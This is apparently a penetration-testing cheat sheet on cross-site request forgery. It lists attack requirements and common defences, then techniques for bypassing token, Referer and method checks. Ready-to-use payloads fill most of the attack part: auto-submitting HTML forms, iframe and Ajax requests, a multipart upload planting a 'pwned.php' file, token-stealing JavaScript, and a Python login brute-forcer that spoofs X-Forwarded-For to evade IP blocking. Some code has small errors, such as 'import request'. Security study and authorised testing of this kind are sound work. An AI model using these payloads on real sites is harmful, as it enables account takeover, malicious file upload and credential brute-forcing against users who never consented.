Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform.
This is done by making a logged in user in the victim platform access an attacker controlled website and from there execute malicious JS code, send forms or retrieve "images" to the victims account.
Requisites
In order to be able to abuse a CSRF vulnerability you first need to find a relevant action to abuse (change password or email, make the victim follow you on a social network, give you more privileges...). The session must rely only on cookies or HTTP Basic Authentication header, any other header can't be used to handle the session. An finally, there shouldn't be unpredictable parameters on the request.
Several counter-measures could be in place to avoid this vulnerability.
Common defenses
SameSite cookies: If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites.
Cross-origin resource sharing: Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the CORS policy of the victim site. Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response.
Ask for the password user to authorise the action.
Resolve a captcha
Read the Referrer or Origin headers. If a regex is used it could be bypassed form example with:
Modify the name of the parameters of the Post or Get request
Use a CSRF token in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.
CSRF map
Defences Bypass
From POST to GET
Maybe the form you want to abuse is prepared to send a POST request with a CSRF token but, you should check if a GET is also valid and if when you send a GET request the CSRF token is still being validated.
Lack of token
Some applications correctly validate the token when it is present but skip the validation if the token is omitted.
In this situation, the attacker can remove the entire parameter containing the token (not just its value) to bypass the validation and deliver a CSRF attack.
CSRF token is not tied to the user session
Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool.
In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.
Method bypass
If the request is using a "weird" method, check if the methodoverride functionality is working.
For example, if it's using a PUT method you can try to use a POST method and send: https://example.com/my/dear/api/val/num?**\_method=PUT**
This could also works sending the _method parameter inside the a POST request or using the headers:
X-HTTP-Method
X-HTTP-Method-Override
X-Method-Override
Custom header token bypass
If the request is adding a custom header with a token to the request as CSRF protection method, then:
Test the request without the Customized Token and also header.
Test the request with exact same length but different token.
CSRF token is tied to a non-session cookie
Some applications do tie the CSRF token to a cookie, but not to the same cookie that is used to track sessions. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together.
If the web site contains any behaviour that allows an attacker to set a cookie in a victim's browser, then an attack is possible.
CSRF token is simply duplicated in a cookie
In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie.
In this situation, the attacker can again perform a CSRF attack if the web site contains any cookie setting functionality.
Content-Type change
According to this, n order to avoid preflight requests using POST method these are the allowed Content-Type values:
application/x-www-form-urlencoded
multipart/form-data
text/plain
However, note that the severs logic may vary depending on the Content-Type used so you should try the values mentioned and others like application/json,text/xml, application/xml.
Referrer / Origin check bypass
Avoid Referrer header
Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
Form POST request through iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Ajax POST request
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
multipart/form-data POST request
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include"
});
multipart/form-data POST request v2
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
Steal CSRF Token and send a Post request using an iframe, a form and Ajax
The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
